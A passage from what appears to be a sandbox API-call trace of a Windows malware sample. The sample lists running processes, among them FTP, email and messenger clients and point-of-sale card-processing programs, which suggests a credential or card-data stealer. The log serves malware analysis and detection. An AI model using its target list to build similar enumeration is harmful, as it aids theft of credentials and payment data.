hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0263.455] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0263.471] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0263.474] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0263.480] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0263.483] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0263.486] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0263.490] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0263.494] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0263.496] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0263.498] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0263.500] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0263.502] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0263.505] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0263.507] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0263.509] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0263.511] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0263.514] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0263.517] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0263.519] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0263.521] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0263.523] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0263.525] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0263.559] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0263.562] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0263.600] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0263.602] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0263.603] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0263.606] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0263.608] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0263.609] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0263.611] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0263.613] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0263.615] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0263.617] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0263.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.622] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0263.623] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0263.625] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0263.627] CloseHandle (hObject=0x2200) returned 1 [0263.627] Sleep (dwMilliseconds=0x64) [0263.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0263.644] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.647] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.649] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.651] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.652] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.654] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.655] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.657] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.659] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.661] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.663] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.664] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.666] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.667] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.669] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.671] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.673] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.674] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.676] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.678] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.680] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.682] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.684] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0263.687] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0263.689] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.691] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.693] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.695] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0263.696] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.729] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.731] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0263.733] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.734] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.741] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.747] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.751] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.755] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0263.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0263.758] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0263.760] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0263.763] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0263.765] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 